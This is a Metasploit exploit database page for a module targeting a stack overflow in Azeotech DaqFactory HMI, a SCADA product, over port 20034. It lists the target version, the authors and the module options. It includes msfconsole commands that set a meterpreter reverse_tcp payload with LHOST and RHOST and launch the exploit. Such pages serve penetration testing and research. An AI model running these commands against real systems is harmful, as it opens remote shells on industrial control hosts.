DaqFactory HMI NETB Request Overflow | Metasploit Exploit Database (DB)

DaqFactory HMI NETB Request Overflow

This module exploits a stack buffer overflow in Azeotech's DaqFactory product. The specfic vulnerability is triggered when sending a specially crafted 'NETB' request to port 20034. Exploitation of this vulnerability may take a few seconds due to the use of egghunter. This vulnerability was one of the 14 releases discovered by researcher Luigi Auriemma.

Search Other Modules


Exploit Rank

  • Good

Exploit Authors

  • Luigi Auriemma < >
  • mr_me < steventhomasseeley [at] gmail.com >

Vulnerability References


Exploit Targets

  • 0 - DAQFactory Pro 5.85 Build 1853 on Windows XP SP3 (default)

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/scada/daq_factory_bof
msf exploit(daq_factory_bof) > show payloads
msf exploit(daq_factory_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(daq_factory_bof) > set LHOST [MY IP ADDRESS]
msf exploit(daq_factory_bof) > set DHCP [STRING]
msf exploit(daq_factory_bof) > set RHOST [TARGET IP]
msf exploit(daq_factory_bof) > exploit


Exploit Module Options

DHCP The DHCP server IP of the target (default: )
RHOST The target address
RPORT The target port (default: 20034)
CHOST The local client address
CPORT The local client port
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session